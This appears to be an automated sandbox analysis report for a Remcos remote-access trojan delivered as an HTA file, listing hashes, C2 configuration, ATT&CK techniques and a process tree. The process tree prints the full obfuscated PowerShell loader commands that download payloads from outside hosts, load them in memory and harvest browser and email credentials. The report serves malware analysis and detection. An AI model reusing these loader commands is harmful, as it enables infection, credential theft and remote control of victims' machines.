remcos | 551e991e0c83468b3df91d9882be8d99a3c6152796e425748672d8ade2ffcef2

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08/10/2024, 16:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

verynicepersonupdation.hta
Size

117KB
MD5

86e57a2c2b7b09f3f66d1c66a77238a7
SHA1

a4eb71e37e57d39e6612ae14078d8b1ade636780
SHA256

551e991e0c83468b3df91d9882be8d99a3c6152796e425748672d8ade2ffcef2
SHA512

ff53a59b556ba5cf2f6ba130cc6b3582d45c64512ca43e19c22c4be168827129624c1cb4b2bf40f1b178752c8b6e962c67d9c278ed28e4f23fecd8ab97f9077a
SSDEEP

96:Ea+M7j2DTSqjoDDTSYHYYamplWIxB7DTS1e2cAT:Ea+QPqV7jT

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

exe.dropper

https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

ugnrv.duckdns.org:9674

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-0BYJUE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2616-124-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4752-123-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/1520-130-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2616-124-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4752-123-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
16	4312	powershell.exe
19	3440	powershell.exe
33	3440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3248	powershell.exe
3440	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
4312	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3440 set thread context of 1780	3440	powershell.exe	101
PID 1780 set thread context of 4752	1780	RegAsm.exe	103
PID 1780 set thread context of 2616	1780	RegAsm.exe	104
PID 1780 set thread context of 1520	1780	RegAsm.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4312	powershell.exe
4312	powershell.exe
3248	powershell.exe
3248	powershell.exe
3440	powershell.exe
3440	powershell.exe
4752	RegAsm.exe
4752	RegAsm.exe
1520	RegAsm.exe
1520	RegAsm.exe
4752	RegAsm.exe
4752	RegAsm.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
1780	RegAsm.exe
1780	RegAsm.exe
1780	RegAsm.exe
1780	RegAsm.exe
1780	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	1520	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1780	RegAsm.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4580 wrote to memory of 772	4580	mshta.exe	85
PID 4580 wrote to memory of 772	4580	mshta.exe	85
PID 4580 wrote to memory of 772	4580	mshta.exe	85
PID 772 wrote to memory of 4312	772	cmd.exe	87
PID 772 wrote to memory of 4312	772	cmd.exe	87
PID 772 wrote to memory of 4312	772	cmd.exe	87
PID 4312 wrote to memory of 3036	4312	powershell.exe	88
PID 4312 wrote to memory of 3036	4312	powershell.exe	88
PID 4312 wrote to memory of 3036	4312	powershell.exe	88
PID 3036 wrote to memory of 4824	3036	csc.exe	89
PID 3036 wrote to memory of 4824	3036	csc.exe	89
PID 3036 wrote to memory of 4824	3036	csc.exe	89
PID 4312 wrote to memory of 1368	4312	powershell.exe	90
PID 4312 wrote to memory of 1368	4312	powershell.exe	90
PID 4312 wrote to memory of 1368	4312	powershell.exe	90
PID 1368 wrote to memory of 3248	1368	WScript.exe	91
PID 1368 wrote to memory of 3248	1368	WScript.exe	91
PID 1368 wrote to memory of 3248	1368	WScript.exe	91
PID 3248 wrote to memory of 3440	3248	powershell.exe	93
PID 3248 wrote to memory of 3440	3248	powershell.exe	93
PID 3248 wrote to memory of 3440	3248	powershell.exe	93
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 3440 wrote to memory of 1780	3440	powershell.exe	101
PID 1780 wrote to memory of 4752	1780	RegAsm.exe	103
PID 1780 wrote to memory of 4752	1780	RegAsm.exe	103
PID 1780 wrote to memory of 4752	1780	RegAsm.exe	103
PID 1780 wrote to memory of 4752	1780	RegAsm.exe	103
PID 1780 wrote to memory of 2616	1780	RegAsm.exe	104
PID 1780 wrote to memory of 2616	1780	RegAsm.exe	104
PID 1780 wrote to memory of 2616	1780	RegAsm.exe	104
PID 1780 wrote to memory of 2616	1780	RegAsm.exe	104
PID 1780 wrote to memory of 3908	1780	RegAsm.exe	105
PID 1780 wrote to memory of 3908	1780	RegAsm.exe	105
PID 1780 wrote to memory of 3908	1780	RegAsm.exe	105
PID 1780 wrote to memory of 2336	1780	RegAsm.exe	106
PID 1780 wrote to memory of 2336	1780	RegAsm.exe	106
PID 1780 wrote to memory of 2336	1780	RegAsm.exe	106
PID 1780 wrote to memory of 1520	1780	RegAsm.exe	107
PID 1780 wrote to memory of 1520	1780	RegAsm.exe	107
PID 1780 wrote to memory of 1520	1780	RegAsm.exe	107
PID 1780 wrote to memory of 1520	1780	RegAsm.exe	107

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\verynicepersonupdation.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4580
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C POwerSHELl -EX bYPAsS -Nop -w 1 -C DEvIceCReDEntIaldePlOyMeNT.Exe ; ieX($(IeX('[SYSTEm.texT.ENCODING]'+[CHaR]0x3A+[cHAR]0x3A+'uTf8.gETstrInG([systEm.CoNVErT]'+[ChAr]0X3a+[Char]58+'FRomBaSe64stRINg('+[CHaR]0x22+'JGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYkVyREVGaU5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFN5YVRSeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsc3hnWUwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1osdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdlUUNNeVlxLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHYpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5VE1FIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYWZ5RlprcVNaICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMzguMjQwLjQ0LjkvNTkwL25pY2VmZWF0dXJlc3dvcmtpbmdncmVhdC5UaWYiLCIkZU52OkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyIsMCwwKTtzVEFyVC1TTGVFcCgzKTtTdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyI='+[Char]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POwerSHELl -EX bYPAsS -Nop -w 1 -C DEvIceCReDEntIaldePlOyMeNT.Exe ; ieX($(IeX('[SYSTEm.texT.ENCODING]'+[CHaR]0x3A+[cHAR]0x3A+'uTf8.gETstrInG([systEm.CoNVErT]'+[ChAr]0X3a+[Char]58+'FRomBaSe64stRINg('+[CHaR]0x22+'JGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYkVyREVGaU5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFN5YVRSeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsc3hnWUwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1osdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdlUUNNeVlxLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHYpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5VE1FIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYWZ5RlprcVNaICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMzguMjQwLjQ0LjkvNTkwL25pY2VmZWF0dXJlc3dvcmtpbmdncmVhdC5UaWYiLCIkZU52OkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyIsMCwwKTtzVEFyVC1TTGVFcCgzKTtTdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyI='+[Char]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4312
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gptm0sdc\gptm0sdc.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3036
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8CBF.tmp" "c:\Users\Admin\AppData\Local\Temp\gptm0sdc\CSCB64B07CE32C5483196452F61429FACC.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4824
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicefeaturesworkinggreat.vbS"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1368
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtzdFJpbkddJFZlckJPU0VwckVGRVJlTkNFKVsxLDNdKydYJy1qT2luJycpICgoKCd7MH1pbWFnZVVybCAnKyc9IHsxfWh0dHBzOi8vaScrJ2E2MDAxMDIudXMuYXJjaGl2ZS5vcmcvMzIvaXRlbXMvZGV0YWgtbm90JysnZS12XzIwMjQxMC9EZXRhaE5vdGVfVi5qcGcgezF9O3swfXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGUnKydtLk5ldC5XZWJDbGllbnQ7ezB9aW1hZ2VCJysneScrJ3RlcyA9IHswfXdlYkNsaWVudC5Eb3dubG9hZERhdGEoezB9aW1hZycrJ2VVcmwpO3swfWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCcrJ3swfWltYWdlQnl0ZXMpO3swfXN0YXJ0RmxhZyA9IHsxfTw8QkFTRTY0X1NUQVJUJysnPj57MX07ezB9ZW5kRmxhZyA9IHsxfTw8QkFTRScrJzY0X0VORD4+ezF9O3swfXN0YXJ0SW5kZXggPSAnKyd7MH1pbWFnZVRleHQuSW5kZXhPZih7MH1zdGFydEZsYWcpO3swfWVuZEluZGV4ID0gezB9aW1hZ2VUZXh0LkluZGV4T2YoezB9ZW5kRicrJ2xhZyk7ezB9c3RhcnRJJysnbmRleCAtZ2UgMCAtYW5kIHswfWVuZEluZGV4IC0nKydndCB7MH1zdGFydEluJysnZGV4O3swfXN0YXJ0SW5kZXggKz0gezB9c3RhJysncnRGbGFnLkxlbmd0aDt7MH1iYXNlNjRMZW5ndGgnKycgPSB7MCcrJ31lbmRJbmRleCAtJysnIHswfXN0YXJ0SW4nKydkZXg7ezB9YmFzZTY0Q29tbWFuZCA9IHswfWltJysnYWdlVGV4dC5TdWJzdHJpbmcoezB9c3RhcnRJbmRleCwgezB9YmFzZTY0TGVuZ3RoKTt7MH1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaScrJ25nKHswfWJhc2U2NENvbW1hbmQpO3swJysnfWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SJysnZWZsZWN0aW9uLkFzc2VtYicrJ2x5XTo6TG9hZCh7JysnMH1jb21tYW5kQnl0ZXMpO3swfXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoeycrJzF9VkFJezF9KTt7MH12YWknKydNZXRob2QuSW52b2tlKHswfW51bGwsIEAoezF9dHh0LkRSUlNSUi8wOTUvOS40NC4wNDIuODMvLzpwdHRoezF9LCB7MX1kZXNhdGl2YWRvezF9LCB7MX1kZXNhdGl2YWRveycrJzF9LCB7MX1kZXNhdGl2YWRvezF9LCB7MX1SZWdBc217MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWQnKydlc2F0aXZhZG8nKyd7MX0pKTsnKSAgLUYgIFtDSEFyXTM2LFtDSEFyXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3248
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([stRinG]$VerBOSEprEFEReNCE)[1,3]+'X'-jOin'') ((('{0}imageUrl '+'= {1}https://i'+'a600102.us.archive.org/32/items/detah-not'+'e-v_202410/DetahNote_V.jpg {1};{0}webClient = New-Object Syste'+'m.Net.WebClient;{0}imageB'+'y'+'tes = {0}webClient.DownloadData({0}imag'+'eUrl);{0}imageText = [System.Text.Encoding]::UTF8.GetString('+'{0}imageBytes);{0}startFlag = {1}<<BASE64_START'+'>>{1};{0}endFlag = {1}<<BASE'+'64_END>>{1};{0}startIndex = '+'{0}imageText.IndexOf({0}startFlag);{0}endIndex = {0}imageText.IndexOf({0}endF'+'lag);{0}startI'+'ndex -ge 0 -and {0}endIndex -'+'gt {0}startIn'+'dex;{0}startIndex += {0}sta'+'rtFlag.Length;{0}base64Length'+' = {0'+'}endIndex -'+' {0}startIn'+'dex;{0}base64Command = {0}im'+'ageText.Substring({0}startIndex, {0}base64Length);{0}commandBytes = [System.Convert]::FromBase64Stri'+'ng({0}base64Command);{0'+'}loadedAssembly = [System.R'+'eflection.Assemb'+'ly]::Load({'+'0}commandBytes);{0}vaiMethod = [dnlib.IO.Home].GetMethod({'+'1}VAI{1});{0}vai'+'Method.Invoke({0}null, @({1}txt.DRRSRR/095/9.44.042.83//:ptth{1}, {1}desativado{1}, {1}desativado{'+'1}, {1}desativado{1}, {1}RegAsm{1}, {1}desativado{1}, {1}d'+'esativado'+'{1}));') -F [CHAr]36,[CHAr]39) )"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3440
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1780
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jbbsapq"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4752
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\tvpcaabbez"
        8⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2616
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\wxuvbsmdshked"
        8⤵
        
        PID:3908
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\wxuvbsmdshked"
        8⤵
        
        PID:2336
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\wxuvbsmdshked"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
38bc44babccb121a065b1d44216ce72b

SHA1
b9e94680ffde2cf42fdc3721677b8713e85ced8d

SHA256
b4a03ca0aeab3f3c722a4c7cb5bf90a03c78a5160643dc5d8f1bf88e59f96a04

SHA512
c93538186799060ba73e8b11979046dba3e31cbb1905019f59d8999fd78d7d775bc66761480e31dcf36496071dbeaac092cb86fc2d93c03a94da3b84a708f638

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
f51e3f12d20754eacd2568989fcf3d14

SHA1
856d5b1f35c2f7aecd38b3c4940c41e08134850c

SHA256
01b49a8f7375e3a6880a8d2d2825cedabd586cbcb91f063e594a66d3e3396ff4

SHA512
b3bc0675a65248b6cb3073d195b9f2d8ff72679ba143e6205cf55b0ff2b237fd11c6adb861a88a86420b410e1be9e6660b0768dffad86313d9a2cabd8bb08ff9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
192d7890b1851b6fc4421b90bef03b21

SHA1
3ba42bd31bf8f19b3ac712d3840b8020fbc1a884

SHA256
69f3b7426026eacddfb5a0dc118547d150e996b2b892c459e72baf0d887cab50

SHA512
3c39a4ecbf0ef1cba9a3feaef183bc2f1436c5914a482bf1a64c0c8bb1c7808ae2857064e6efdff5790ef90fa29ee64c00fcf8b24d861d2ff51e7b6e0fc8416b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8CBF.tmp

Filesize
1KB

MD5
0a9e81fb681fc14292d91924f7d8dae0

SHA1
0beb79dbcb75a44c80956e331b72fc03cd072682

SHA256
4201194cac1bfbce91bc755f888662d740ab9a23624a7e450848fbaf5088f915

SHA512
f5c3b0713970130011d4f1fc05574a17e82f4c08ed7330762ccecdebf68003b24cb6862166f3ac310a36d84a646e44f82d133eaa6e4b3849a704922c4e98c5c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1gbfhkvb.xfa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gptm0sdc\gptm0sdc.dll

Filesize
3KB

MD5
3a2ab440b0a30afabfc86bef7f8f3186

SHA1
b2d603366f9f3daad2d2968efc12680f1143c2f5

SHA256
287536a6e6a22842bd76ffbb0cc6bccd064e5edf7db6ec67286cf5776ff0c3a0

SHA512
8ed49a73dba65a14937989563f7f48cd1cb4c6e20d2e9b0085f49354554d2f54fbc5e793d955b9f46a566ce66d65f3cc9c877508ab94c72e57f09c4036aeb8c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\jbbsapq

Filesize
4KB

MD5
562a58578d6d04c7fb6bda581c57c03c

SHA1
12ab2b88624d01da0c5f5d1441aa21cbc276c5f5

SHA256
ff5c70287ba432a83f9015209d6e933462edca01d68c53c09882e1e4d22241c8

SHA512
3f6e19faa0196bd4c085defa587e664abdd63c25ef30df8f4323e60a5a5aca3cd2709466f772e64ab00fe331d4264841422d6057451947f3500e9252a132254e

Download Submit
C:\Users\Admin\AppData\Roaming\nicefeaturesworkinggreat.vbS

Filesize
189KB

MD5
cb62d268830733f07d331b13fec20eea

SHA1
8973df390628eb1fe3f9eedb4c13bb2e43397f6c

SHA256
c5ba540355ace8916716b6edb0c403766b53a25ef0df4e5175c192148e620ead

SHA512
28a401cff8046fbfddf7f8a11abc7a00ba8e16468ee76d95b509d0d6201e895f785b5c6f9ba4957c17834b70459da127abeb57f0715baf1c198b626cc2942d1a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gptm0sdc\CSCB64B07CE32C5483196452F61429FACC.TMP

Filesize
652B

MD5
dda78dd64c79a3bacafab1bc18018660

SHA1
2dba1636df92ef4403f008f25224230f2f7a0c17

SHA256
12c68740cf32e5fec47db593d75eb772e6685e11b5fc4965dc9cde1806f00f66

SHA512
